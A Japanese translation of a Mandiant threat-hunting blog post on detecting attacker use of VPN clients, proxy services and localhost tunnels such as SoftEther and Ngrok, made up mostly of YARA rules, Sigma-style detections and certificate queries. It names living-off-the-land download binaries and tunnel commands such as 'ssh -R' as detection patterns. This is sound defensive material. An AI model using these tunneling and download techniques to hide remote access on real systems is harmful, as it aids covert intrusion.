VPN、プロキシ、トンネルに潜入する
Mandiant
※この投稿は米国時間 2022 年 6 月29 日に、Google Cloud blog に投稿されたものの抄訳です。
イントロダクション
攻撃のライフサイクルを攻撃側の視点で考えてみると、攻撃者には各ステップをどのように進めるかについてはいくつかの選択肢があります。考えなければならないことの1つは、攻撃者は既知のマルウェア(例:BEACON)を使うのか、一からから構築したカスタムメイドのマルウェア(例:HAMMERTOSS)を使うのか、あるいは当該のステップで目的を完了するために必要な機能を提供する正規のソフトウェアやサービス(例:SoftEther Virtual Private Network)を使用するのか、という点です。
各オプションには、良い点と悪い点があります。一般に知られているマルウェアは、非常に安価である一方、すでに人目に触れているため、発見されやすい可能性があります。カスタム・マルウェアは、その独自のコード・ベースにより、極めてステルス性が高い反面、使用前に開発する必要があるため、時間的・金銭的に非常に高価になります。正規のソフトウェアやサービスも、「通常のネットワーク活動」にカモフラージュすることでステルス性を発揮しますが、使用することを想定して作成されていないため、意図した機能を正確に提供できない可能性があります。
Mandiantは、これらの3つの理論的な「オプション」すべてを、調査や手ごわい攻撃者からと対峙する中で観察しており、それぞれの方法がハンティング、収集、分析にとって貴重なものであることを確認しています。
しかし、このブログの目的はこのうちの3つ目、恐らくランチタイムの話題に上ることもなく、最も議論されていないであろう選択肢である、正規のVPNソフトウェア、プロキシサービス、ローカルホストトンネルについて説明することにあります。では、VPN ソフトウェア、プロキシ・サービス、およびトンネルに対する防御者のハンティングと検出のレパートリーをさらに拡大するために、これら 3 つのリモート・アクセスの方法についてそれぞれ説明していきましょう。
違いを定義する
VPNソフトウェア
VPNソフトウェアを理解するためには、VPNを理解する必要があります。仮想プライベートネットワークは、デバイスからネットワークへのインターネット上の暗号化された接続です。暗号化された接続は、機密データの安全な伝送を保証するのに役立ちます。また、許可されていない人物による通信の盗聴を防止し、リモートでの作業を可能にします。
以下では、VPN 接続を容易にするソフトウェア (SoftEther VPN Client、OpenVPN Client など) を VPN ソフトウェアと定義します。
プロキシ・サービス
コンピュータサイエンスにおいて、プロキシとは、リクエストを行うクライアントとリクエスト先のサーバーの間に存在するサーバーのことを指します。プロキシは、ネットワークログの収集、キャッシュの保存、匿名化されたインターネットアクセスの提供など、さまざまな目的で使用することができます。プロキシ・サービスは、ユーザーがインフラストラクチャの心配をすることなく、プロキシの利点を得ることができるオンライン リソースです (RSocks、HideMyAss、Hide.Me など)。
ローカルホスト・トンネリング
VPNソフトウェアとプロキシ・サービスはともに、クライアントからサーバーへのアウトバウンド接続を容易にするものです。一方で、ローカルホスト・トンネリングはこれと似ていますが、外部ネットワークからクライアントに戻る接続容易にするもので、一般的に「localhostの公開」と呼ばれるものによって行われます(Ngrok、LocalTunnel、Localhost.Runなど)。
あらゆる方向から検出する
さまざまなハンティングと検出の方法論についてブレインストーミングを行った結果、我々は次のような結論を得ました。それは、正規のソフトウェアやサービスの大規模な検出は、単一の検出技術を限定的に適用するのではなく、複数の技術領域にまたがって拡張する必要があるということです。
ハンティングと検出の方法論についてのブレインストーミング
大規模な ハンティングと検出のオペレーションを開始するには、各組織それぞれにおいて利用可能なオプションについてのブレインストーミングを実施する必要があります。例えば、ネットワーク・トラフィックに対してsnortシグネチャを実行する機能がないのであれば、この種の方法は他の検出方法より後回しにすることができます。
また、手法として利用されている技術を調査する場合、各ベンダーの技術のバージョン(SoftEther、NordVPN、Ngrokなどの検出)に焦点を当てた「whac-a-vendor(ベンダーたたき)」タイプのアプローチに陥りがちです。これにもメリットがあり、まったくもってダメなアプローチではないものの、理想的であるとは言えません。以下のセクションでは、SoftEther VPN、Ngrok、およびその他をカバーする検出を取り上げます。理想的なハンティングプロセスは、以下のハンティングの方法論のセクションで強調されているように、ベンダーにとらわれず、より攻撃の手法に重きを置いた検出を行うことです。
VPNクライアントの検出
疑わしいVPNファイルを包み隠すファイル
懸念されること: 攻撃者は、これらのVPNファイルを内部に格納した無害なファイルを使用して、リモートアクセスソフトウェア以外のものになりすます可能性があります。
方法論: 無害なファイルの下に重ねられたVPNアーティファクトを識別するために、ファイル自体の構造を調べることができる検出ロジックを使用します。
VPNエクイティおよびVPN ファイルに埋め込まれたさまざまなファイルに対するハンティング検出および方法論:
- Hexペイロードが埋め込まれたリッチ・テキスト・フォーマット・ファイル
- VPNターゲット・ドメインが埋め込まれたOpen Office XMLファイル
- VPNファイルまたはドメイン参照を持つ光ディスクイメージ(ISOイメージ)ファイル
- VPNファイルまたはドメイン参照を持つMachオブジェクト(Mach-O)ファイル
RTFに埋め込まれたHexペイロードとHex VPNファイルの参照
rule M_Hunting_VPNEngine_RTF_Embedded_1 { meta: description = "Detects a
suspicious string often used in PE files in a hex encoded object stream along with
a VPN or proxy filename in the hex object." author = "Mandiant" md5 =
"befec87a9742ba8e8f6e61e1133f55fb" strings: $pe =
"546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465"
ascii $mz = /4d5a[a-zA-Z0-9]{19,21}ffff/ $vpn1 = /56504e[a-zA-Z0
-9]{0,20}(2e657865|2e646c6c)/ ascii $vpn2 = /76706e[a-zA-Z0-9]{0,20}
(2e657865|2e646c6c)/ ascii $vpn3 = /70726f7879[a-zA-Z0-9]{0,20}
(2e657865|2e646c6c)/ ascii $vpn4 = /50726f7879[a-zA-Z0-9]{0,20}
(2e657865|2e646c6c)/ ascii $vpn5 = /50524f5859[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii condition: filesize < 15MB and (uint16(0) ==
0x5C7B) and ($pe or $mz) and (1 of ($vpn*)) }
VPNターゲットドメインが組み込まれたOOXML
rule M_Hunting_VPNEngine_OOXML_Target_1 { meta: description = "Detects
an external relationship link in an OOXML with a VPN or proxy domain."
author = "Mandiant" strings: $relationship_external = /TargetMode=
[\"\']External[\"\']/ ascii nocase wide $anchor = "<Relationships
xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">" $s1
= " Target=" ascii nocase $s2 = " TargetMode=" ascii nocase $s3 = " Type=" ascii nocase $s4 = " Id=" ascii nocase $re = /Target=[\"\']
[^\"\']{0,100}(vpn|proxy).{0,100}/ ascii nocase condition: (filesize <
10KB) and $anchor and $relationship_external and (1 of ($s*)) and $re }
VPNファイルまたはドメイン参照を持つISOファイル
rule M_Hunting_VPNEngine_ArchiveEngine_ISOWithEmbeddedVPN_1 { meta:
author = "Mandiant" description = "Looking for ISO files with embedded
payloads utilizing VPN strings." md5 = "4c5f27d28f369da5d5ecce947bb22943"
strings: $s1 = /vpn[^\.]{0,50}\.
(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase fullword $s2 =
/proxy[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase
fullword $s3 = /vpn[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s4 = /proxy[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s5 = "remote access" ascii nocase wide fullword $s6 = /localhost[^a-zA
-Z0-9]{0,5}tunnel/ ascii nocase fullword condition: uint32(0x8000)
== 0x30444301 and uint32(0x8004) == 0x00013130 and any of them }
VPNファイルまたはドメイン参照を持つMach-Oファイル
rule M_Hunting_MacOS_VPNEngine_MachO_FEBeta_1 { meta: author =
"Mandiant" description = "This rule looks for Mach-O files with strings
indicating relationship with a VPN client or domain." md5 =
"6de8cc7217cb3e0c235fcdde83b1140b" strings: $s1 = /vpn[^\.]{0,50}\.
(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase $s2 =
/proxy[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword
nocase $s3 = /vpn[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s4 = /proxy[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
$s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii fullword nocase condition:
filesize < 15MB and (uint32(0) == 0xBEBAFECA or
uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE) and (1 of them) }
VPNエクイティでファイルを埋め込んだOOXML
# author = "Mandiant" ; type = "OOXML" ; md5 = "a2d34e8c543aef78766b37dcaa5f7686"
M_Hunting_VPNEngine_OOXML_Target_1;Engine:51- 255,Container:CL_TYPE_ZIP,Target:0;
(0&1&2)&(3|4|5|6);3c3f786d6c;3c773a646f637 56d656e74;353436383639373332303730373236663637373236313664;373637303665;35363 5303465;37303732366637383739;35303732366637383739
VPNクライアントのコンフィグレーションファイルによる情報収集
VPNクライアントのコンフィグレーションファイルによる情報収集
懸念されること:多くのVPNクライアントは、コンフィグレーションファイルを受信するため、クライアント自体が懸念事項となります。コンフィグレーションファイルは、インテリジェンスな洞察を提供し、さらなる攻撃の潜在的な推進力となる可能性があります。
方法論: 通常の保存場所や、これらのファイルが保存されているとは考えられないシステム上で、ファイルベースの分析を使用して、汎用VPNクライアントのコンフィグレーション・ファイルを特定します。
SoftEther VPN のコンフィグレーションの確認
{ meta: author = "Mandiant" md5 = "2586bb9e27a4b3da4ed0f5d15883f84e" description =
"Rule looks for SoftEther config file." strings: $configfile = "Software
Configuration File" ascii fullword $softether1 = "softether" ascii fullword nocase
$softether2 = "EnableSoftEtherKernelModeDriver" nocase $topFields1 =
"ListenerList" $topFields2 = "LocalBridgeList" $topFields3 = "ServerConfiguration"
$topFields4 = "VirtualHUB" condition: filesize < 1MB and $configfile and (1
of ($softether*)) and (1 of ($topFields*)) }
Ngrok VPN 構成の確認
rule M_Hunting_VPNEngine_NgrokConfig_1 { meta: author = "Mandiant" description =
"Rule looks for Ngrok YML config file." md5 = "5d1dbfdc47e820605fedabb98cf17dd5"
strings: $header = "authtoken:" ascii $tokenRE = /authtoken:\s+[a-zA-Z0-9]{24,30}_[a-zA-Z0-9]
{16,22}/ ascii $tunnel = "tunnels:" ascii condition: filesize <
1MB and $header in (0..20) and $tokenRE and $tunnel } rule
M_Hunting_VPNEngine_NgrokConfig_2 { meta: author = "Mandiant" description = "Rule
looks for Ngrok YML config file." md5 = "5d1dbfdc47e820605fedabb98cf17dd5"
strings: $header = "authtoken:" ascii $tokenRE = /authtoken:\s[a-zA-Z0-9]
{26,30}_[a-zA-Z0-9]{19,22}/ ascii condition: filesize < 1MB and $header at 0 and $tokenRE }
VPNクライアントやソフトウェア以外を装ったプロセスの実行
懸念されること:この SoftEther VPN Bridge のように、iexplore.exe や conhost.exe などと名前を変更し、ファイルの真の目的を隠すようなバイナリがよく見受けられます。
方法論 :ファイル名ベースの検出だけに頼らず、名前付きまたは名前変更されたプロセスやファイルなどを検出する方法を模索します。プロセスベースの検出ロジックを使用して、VPNコンポーネントに共通するスイッチ、アクション、接続を特定し、バイナリの正体や意図を特定するために、文字列をベースとした検出ロジックを使用することもできます。
ネットワーク接続によるSoftEther VPNの検出
title: 'Renamed SoftEtherVPN by Network Connections (METHODOLOGY)' description:
'Detect the activity of a renamed SoftEther VPN binary by detecting known domain
connections.' author: Mandiant date: '2022-06-15' status: hunting logsource:
product: 'FireEye HX' detection: selectionDomain: urlMonitorEvent
Hostname|contains: - 'get-my-ip.ddns.softether-network.net'
- 'keepalive.softether.org' - 'update-check.softether-
network.net' urlMonitorEvent Hostname|re: 'vpn[0-9a-zA-Z]
{1,50}\.softether.net' filterProcessName: urlMonitorEvent
Process|contains: - 'softether' - 'vpnbridge'
- 'vpnclient' - 'vpncmgr' - 'vpngateplugin'
- 'vpninstall' - 'vpnserver' - 'vpnsetup' - 'vpnmgr' - 'zsatunnel' condition: selectionDomain and not
filterProcessName fields: - "urlMonitorEvent Process" - "urlMonitorEvent
Hostname" - "urlMonitorEvent Type" - "urlMonitorEvent Commandline"
falsepositives: - "Known proxy services like ZScaler." level: "medium"
レジストリ変更による SoftEther VPN の検出
title: 'Renamed SoftEtherVPN by Registry Modifications (METHODOLOGY)' description:
'Detect the activity of a SoftEther VPN binary by detecting registry
modifications.' author: Mandiant date: '2022-06-15' status: hunting logsource:
product: 'FireEye HX' detection: selectionType: regKeyEvent Type: 1
selectionStaticPath: regKeyEvent Path|contains:
'System\CurrentControlSet\Services\SEVPNCLIENT' selectionREPath:
regKeyEvent Path|re: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\[a-zA-Z0
-9_\s-]{0,100}?SoftEther[a-zA-Z0-9_\.\s-]{0,100}' condition: selectionType and
(selectionStaticPath or selectionREPath) fields: - "regKeyEvent Process"
- "regKeyEvent Path" - "regKeyEvent Key" - "regKeyEvent Value"
falsepositives: - "Unknown" level: "medium"
コマンドラインから見た汎用VPNスイッチ(ハンティング)
vpn、proxy、sstp、l2tpなどを含むプロセスコマンドラインスイッチにおける汎用vpn資産をハンティングする。
title: 'VPN-like Process with Known Switches (METHODOLOGY)' description: 'Detect
suspected VPN binaries by known commandline switches.' author: Mandiant date:
'2022-06-15' status: hunting logsource: product: 'FireEye HX' detection:
selectionProcessType: processEvent eventType: "start"
selectionSwitchOptions1: processEvent processCmdLine|contains:
- ' --vpn' - ' --proxy' selectionSwitchOptionsMethod1:
processEvent processCmdLine|contains: - 'ssl' - 'l2tp'
- 'sstp' selectionSwitchOptions2: processEvent
processCmdLine|contains: - 'vpn' - 'proxy'
selectionSwitchOptionsMethod2: processEvent processCmdLine|contains:
- ' --ssl' - ' --l2tp' - ' --sstp'
condition: selectionProcessType and ((selectionSwitchOptions1 and
selectionSwitchOptionsMethod1) or (selectionSwitchOptions2 and
selectionSwitchOptionsMethod2)) fields: - "processEvent processCmdLine"
- "processEvent Process" - "processEvent Username" - "processEvent Md5"
falsepositives: - "Unknown" level: "low"
プロセスから見た汎用VPNドメイン(ハンティング)
VPNやプロキシドメインへのネットワーク接続を開始するプロセスを、以下の正規表現で識別する。
(vpn|proxy)\.[^.]{1,100}\.(net|com|org|io|ru)
This leans heavily on a common practice to use domains in the format of vpn.company[.]com or proxy.company[.]com. While this is not completely inclusive, it leads to enough hunting opportunities to get started and if they are exhausted the regular expression can be loosened.
title: 'Generic VPN Domains from the Process (Hunting)' description: 'Identifying
processes that initiate a network connection to VPN or proxy domains with the
following regular expression.' author: Mandiant date: '2022-06-15' status: hunting
logsource: product: 'FireEye HX' detection: selectionDomain:
urlMonitorEvent Hostname|re: - 'vpn\.[^.]{1,100}\.(net|com|org|io)'
- 'proxy\.[^.]{1,100}\.(net|com|org|io)' filterProcessName:
urlMonitorEvent Process|contains: - 'proxy' - 'vpn'
condition: selectionDomain and not filterProcessName fields: -
"urlMonitorEvent Process" - "urlMonitorEvent Hostname" - "urlMonitorEvent
Type" - "urlMonitorEvent Commandline" falsepositives: - "Known proxy
services like ZScaler." - "Other legitimate in-house proxies." level: "low"
プロセスから見た汎用VPNユーザーエージェント(ハンティング)
正規のVPNエージェントの使用を特定することで、多くのハンティングの機会を得ることができます。HTTPのユーザーエージェント文字列からVPNやプロキシキーワードを検索することで、これらの機会を得ることができます。既知の正規ソフトウェアリストや正規VPN/プロキシドメインを使ったチューニングを適用することで、誤検出を減らすことができます。
title: 'Generic VPN User Agents from the Process (Hunting)' description:
'Searching for VPN and proxy keywords within HTTP user-agent strings.'
author: Mandiant date: '2022-06-15' status: hunting logsource: product: 'FireEye HX'
detection: selectionUserAgent: urlMonitorEvent userAgent|contains:
- 'proxy' - 'vpn' filterHostname:
urlMonitorEvent Hostname|contains: - 'vpn' - 'proxy'
condition: selectionUserAgent and not filterHostname fields: -
"urlMonitorEvent Process" - "urlMonitorEvent Hostname" - "urlMonitorEvent
Type" - "urlMonitorEvent Commandline" falsepositives: - "Known proxy
services like ZScaler." - "Other legitimate in-house proxies." -
"FortiSSLVPN" - "GoogleImageProxy" - "ESET Security proxy detection" level: "low"
汎用 SoftEther VPN エクイティ (ハンティング)
バイナリ内の既知の SoftEther 機能を検出するために固有のエクイティを使用すると、プロセス名検出を回避して機能を特定することができます。 (※後述の使用例における UNC3500 参照)
rule M_Hunting_Linux_VPNEngine_GenericSoftEther_1 { meta: author
= "Mandiant" description = "Rule looks for SoftEther generic terms in
samples." strings: $domain = "update-check.softether-network.net"
ascii fullword $keepalive = "keepalive.softether.org" $vpn =
"SoftEther Corporation" ascii fullword condition: filesize < 10MB and
uint32(0) == 0x464c457f and all of them }
実行されるとアウトバウンドに到達し、既知のVPNクライアントをダウンロードするファイルまたはプロセス
懸念されること: リモートダウンロードを実行する方法には、Living off the Land(環境寄生型/自給自足型)のバイナリやカスタムコードを使用する方法など、何百通りもあります。しかし、通常のユーザーの動作とは異なる方法でVPNクライアントをダウンロードするプロセスが見られる場合、このクライアントで悪意のある動作が実行される可能性があります。
方法論: Living off the LandバイナリによってVPNクライアントソフトウェアをダウンロードするためのアウトバウンド接続を識別します。
VPNドメインとLiving off the Landバイナリー
Living off the Landイベントは、攻撃者がシステムで利用可能な正規のソフトウェアと機能を使用して、システム上で悪意のあるアクションを実行するコンピュータイベントを表しています。これらの正規のソフトウェアバイナリはLiving off the Land Binaries(LoLBin)と呼ばれ、VPNやプロキシ手法と組み合わせることで、堅牢かつカモフラージュされたオペレーションを可能にします。
プロセスデータを活用し、VPNやプロキシドメインと組み合わせてダウンロード機能を持つこれらのLoLBinを探索することで、その悪用を特定することができるかもしれません。
title: 'Living off the Land Binaries with VPN Domains (Hunting)' description:
'Utilizing process data to hunt for LoLBins that have download functionality in
combination with VPN and proxy domains may lead to identifying their abuse.'
author: Mandiant date: '2022-06-15' status: hunting logsource: product:
'FireEye HX' detection: selectionProcessName: urlMonitorEvent
Process: - 'AppInstaller.exe' - 'Bitsadmin.exe'
- 'CertOC.exe' - 'CertReq.exe' -
'Certutil.exe' - 'cmdl32.exe' - 'Desktopimgdownldr.exe'
- 'Diantz.exe' - 'Esentutl.exe' - 'Expand.exe'
- 'Extrac32.exe' - 'Findstr.exe'
- 'Finger.exe' - 'GfxDownloadWrapper.exe' - 'Hh.exe'
- 'Ieexec.exe' - 'Imewdbld.exe' - 'Makecab.exe' - 'MpCmdRun.exe' - 'PrintBrm.exe'
- 'Replace.exe' - 'Squirrel.exe' - 'Wsl.exe'
- 'Xwizard.exe' selectionUrl: urlMonitorEvent
requestUrl|re: '[a-zA-Z0-9\.]{0,50}(vpn|proxy)[a-zA-Z0-9\.]{0,50}\.exe'
condition: selectionProcessName and selectionUrl fields: - "urlMonitorEvent
Process" - "urlMonitorEvent Hostname" - "urlMonitorEvent requestUrl"
- "urlMonitorEvent Commandline" falsepositives: - "Unknown" level: "medium"
プロキシサービスの方法論
VPNやプロキシ接続を受信するように構成されたインフラストラクチャ
懸念されること:組織において、ホストベースの可視化は欠落しているデータソースである場合があり、そのため、これらのエクイティを識別することは困難になっています。これは、検出の欠如とハンティングの方法論につながります。
方法論: ホストからインターネット・インフラ・ハンティングに移行すると、インフラの品質を特定できる多くのツールやデータソースがあり、アナリストが特定の VPN エンドポイントやサーバーの検出を自動化できるようになる場合があります。
注:これは、VPN クライアント、プロキシ・サービス、トンネルの 3 つの技術全てに関連するものです。
以下は、固有および汎用VPN やプロキシのインフラに焦点をあてたさまざまなハンティングクエリのリストです。
- 汎用およびプロキシドメイン
- 汎用VPN証明書
- MeFound VPN サービス
- Hide.Me VPN サービス
- OpenVPN サービス
- Cisco IOS SSL VPN サービス
- Wireguard VPN インフラストラクチャ
- SoftEtherVPN基盤
- Ngrokサービスインフラ
汎用VPNとプロキシ
VPNドメイン
services.tls.certificates.leaf_data.issuer.common_name:/.*\.vpn\..*\.[a-z]{1,4}/
Proxyドメイン
services.tls.certificates.leaf_data.issuer.common_name:/.*\.proxy\..*\.[a-z]{1,4}/
汎用VPN認証 CNとOrg
汎用VPN証明書のコモンネームと組織名
parsed.issuer.common_name:"VPN" and parsed.subject.organization:"VPN"
その他のVPNサービスドメイン
MeFound
services.tls.certificates.leaf_data.issuer.common_name:/[^\.]+\.mefound\.com/ or
services.tls.certificates.leaf_data.subject.common_name:/[^\.]+\.mefound\.com/ or
services.tls.certificates.leaf_data.names:/[^\.]+\.mefound\.com/
Hide.Meプロキシ・サーバー
services.tls.certificates.leaf_data.names:/.*hide\.me.*/
services.tls.certificates.leaf_data.names=hideservers.net
OpenVPN
services.tls.certificates.leaf_data.subject.organization:"ocvpn" or
services.tls.certificates.leaf_data.subject.common_name:"ocvpn"
Cisco IOS SSL VPN
services.http.response.headers.set_cookie:/webvpn[a-z]*=.*/
Wireguard
(services.http.response.html_title:/.*WireGuard VPN.*/) or
(services.http.response.body:/.*Wireguard VPN.*/)
(services.http.response.html_title:/.*Wireguard.*/ or
services.http.response.body:/.*Wireguard.*/) and not
((services.http.response.html_title:/.*WireGuard VPN.*/) or
(services.http.response.body:/.*Wireguard VPN.*/)) and not
((services.http.response.html_title:/.*Turnkey WireGuard.*/) or
(services.http.response.body:/.*Turnkey Wireguard.*/))
SoftEther
SoftEther on Abused IP Space
services.tls.certificates.leaf_data.subject.common_name:/.*\.softether\.net/ AND
autonomous_system.name=`HETZNER-AS`
services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/ AND
autonomous_system.name=`DIGITALOCEAN-ASN`
services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/ AND
autonomous_system.name=`AS-CHOOPA`
services.tls.certificates.leaf_data.subject.common_name:/.*\.softether\.net/
AND autonomous_system.name=`OVH`
Untrusted SoftEther Certificates
Untrusted VPN Custom SoftEther Certificates
parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/ AND tags.raw:
"untrusted" AND NOT parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/
Untrusted VPN Non-Custom SoftEther Certificates
parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/ AND tags.raw: "untrusted"
SoftEther Generic
SoftEther VPN Domain on Certificate
same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*\.softether\.net
/ AND services.port:443)
HTTP/S SoftEther VPN IPs
same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*\.softether\.net/
AND (services.service_name=`HTTP` OR services.extended_service_name=`HTTPS`))
Non-US IP hosting SoftEther VPN domain
same_service(services.tls.certificates.leaf_data.subject.common_name:/vpn.*softether.net/
AND NOT services.tls.certificates.leaf_data.issuer.country:"US")
Ngrok ドメイン
Ngrokドメイン
services.tls.certificates.leaf_data.names:/.*ngrok.*/
Ngrok 検査サービス
same_service(services.http.request.uri:/.*inspect.*/ and
services.http.request.uri:/.*http.*/ and
services.http.response.html_title:"ngrok")
ProtonVPN
Proton VPNサービス
services.tls.certificates.leaf_data.issuer.organizational_unit:protonvpn or
services.http.response.html_title:protonvpn
プロキシサービスに使用するブラウザの拡張機能
懸念されること: 多くのプロキシサービスは、ブラウザの拡張機能を備えており、一般的にはあまり確認されませんが、攻撃者がこのサービスを利用することを可能にしている可能性があります。
さらに、攻撃者はローダー機能を使用して、Chrome経由でVPNやプロキシサービスにアクセスする可能性があります。これは、PowerShellのローダスクリプトやLNKファイルにおいて、--load-extensionスイッチをChromeで使用し、特定の拡張機能をロードすることで確認することができます。
方法論: ファイル分析において、ブラウザ拡張機能のアーティファクトに焦点を絞り、そのアーティファクトの中でVPNエクイティに焦点を当てます。これは、ブラウザ拡張機能のマニフェストファイルまたはポータブル実行可能ファイルに対して直接行うことができます。
ChromeのVPNやプロキシの拡張機能を読み込む
rule M_METHODOLOGY_VPNEngine_LoadVPNProxyChromeExtension_1 { meta:
author = "Mandiant" description = "Hunting rule that looks for files
containing strings pertaining to execution of Chrome to launch an extension with
VPN or proxy equities." strings: $r1 = /chrome[^\r\n]*?--
load-extension=/ ascii nocase wide $s1 = "chrome" ascii wide $s2 = "--
load-extension=" ascii wide $p1 = "vpn" ascii wide fullword nocase
$p2 = "proxy" ascii wide fullword nocase condition: filesize < 50KB
and all of ($s*) and $r1 and ($p1 or $p2) }
プロキシ用Chrome拡張機能マニフェストファイル
rule M_Hunting_VPNEngine_ChromeExtensions_1 { meta: author =
"Mandiant" md5 = "995f7d9ca805cce59acbeff82ed4adc6" strings:
$manifest1 = "\"manifest_version\":" ascii nocase $manifest2 = "\"name\":"
ascii nocase $manifest3 = "\"version\":" ascii nocase $optional1 =
"\"author\":" ascii nocase $optional2 = "\"browser_action\":" ascii
nocase $optional3 = "\"content_security_policy\":" ascii
nocase $optional4 = "\"default_icon\":" ascii nocase $optional5 =
"\"default_locale\":" ascii nocase $optional6 = "\"default_title\":" ascii
nocase $optional7 = "\"description\":" ascii nocase $optional8 =
"\"differential_fingerprint\":" ascii nocase $optional9 = "\"icons\":"
ascii nocase $optional10 = "\"permissions\":" ascii nocase
$optional11 = "\"background\":" ascii nocase $anchorre1 =
/\"default_title\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre2 =
/\"description\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre3 = /\"name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
$anchorre4 = /\"short_name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre5 =
/\"default_title\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii $anchorre6 =
/\"description\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre7 = /\"name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}
\"/ ascii $anchorre8 = /\"short_name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii condition: filesize < 1MB and
$manifest1 and $manifest2 and $manifest3 and (2 of ($optional*)) and (1 of ($anchorre*)) }
バイナリ内のChrome拡張エクイティ
rule M_Hunting_VPNEngine_ChromeExtensionInBinary_1 { meta: author =
"Mandiant" md5 = "2e09a136e40143ed3317c9ce6ea027a6" strings:
$manifest1 = "\"manifest_version\":" ascii nocase $manifest2 = "\"name\":"
ascii nocase $manifest3 = "\"version\":" ascii nocase $optional1 =
"\"author\":" ascii nocase $optional2 = "\"browser_action\":" ascii
nocase $optional3 = "\"content_security_policy\":" ascii nocase
$optional4 = "\"default_icon\":" ascii nocase $optional5 =
"\"default_locale\":" ascii nocase $optional6 = "\"default_title\":" ascii
nocase $optional7 = "\"description\":" ascii nocase $optional8 =
"\"differential_fingerprint\":" ascii nocase $optional9 = "\"icons\":"
ascii nocase $optional10 = "\"permissions\":" ascii nocase
$optional11 = "\"background\":" ascii nocase $anchorre1 =
/\"default_title\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre2 =
/\"description\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre3 =
/\"name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre4 =
/\"short_name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii $anchorre5 =
/\"default_title\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
$anchorre6 = /\"description\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\
"/ ascii $anchorre7 = /\"name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]
{0,100}\"/ ascii $anchorre8 = /\"short_name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]
{0,100}\"/ ascii condition: ((uint16(0)
== 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and
filesize < 20MB and $manifest1 and $manifest2 and $manifest3 and (2 of ($optional*)) and (1 of ($anchorre*)) }
LocalHostトンネルの対処
正規のプロセス使用
懸念されること: 多くのLocalHostトンネルプロセスは、トンネルを実装するために、正規のプロセス(SSH)またはカスタムの無害なバイナリ(ngrok、lt)のいずれかを利用します。これは、バイナリの特定ではなく、手法に重きを置いているため、悪用検出の妨げになっています。
方法論 : LocalHost トンネルは通常、プロセスのコマンドラインにユニークで適度に識別可能な構造を採用しており、これによって検出の機会を得ることができます。
LocalHost Tunnelのコマンドライン
Localhost Tunnel Host Commands (METHODOLOGY)
title: 'Localhost Tunnel Host Commands (METHODOLOGY)' description: 'Detect
potential localhost tunnel commandlines.' author: Mandiant date: '2022-06-15'
status: hunting logsource: product: 'FireEye HX' detection:
selectionKnownCMDs: processEvent processCmdLine|re:
- 'ngrok\s+(http|tcp|tls|start)\s+' - 'lt\s+--port\s+[0-9]{1,5}'
- 'gotunnelme\s+[0-9]{1,5}' selectionNgrokProcess:
processEvent processCmdLine|contains: "ngrok" selectionNgrokCMD:
processEvent processCmdLine|contains: - 'http ' - 'tls '
- 'tcp ' - 'start ' selectionLHRun1:
processEvent processCmdLine|contains: "ssh" selectionLHRun2:
processEvent processCmdLine|contains: "-R" selectionLocalTunnel1:
processEvent processCmdLine|contains: "localtunnel" selectionLocalTunnel2:
processEvent processCmdLine|contains: "--port" selectionLocalTunnel3:
processEvent processCmdLine|contains: - "/lt"
- "\lt" - " lt" selectionLocalTunnel4: processEvent
processCmdLine|contains: - " http" - " https"
selectionLocalTunnel5: processEvent processCmdLine|contains:
- "-s" - "--server" - "-h" - "--host"
- "-p" - "--port" condition:
selectionKnownCMDs or (selectionNgrokProcess and selectionNgrokCMD) or
(selectionLHRun1 and selectionLHRun2 and selectionLHRun3) or
((selectionLocalTunnel1 or selectionLocalTunnel3) and selectionLocalTunnel2) or
(selectionLocalTunnel1 and selectionLocalTunnel4 and selectionLocalTunnel5)
fields: - "processEvent processCmdLine" - "processEvent Process"
- "processEvent Username" - "processEvent Md5" falsepositives: - "Unknown"
level: "medium"
ネットワークトラフィックに含まれるNgrokエージェントIP
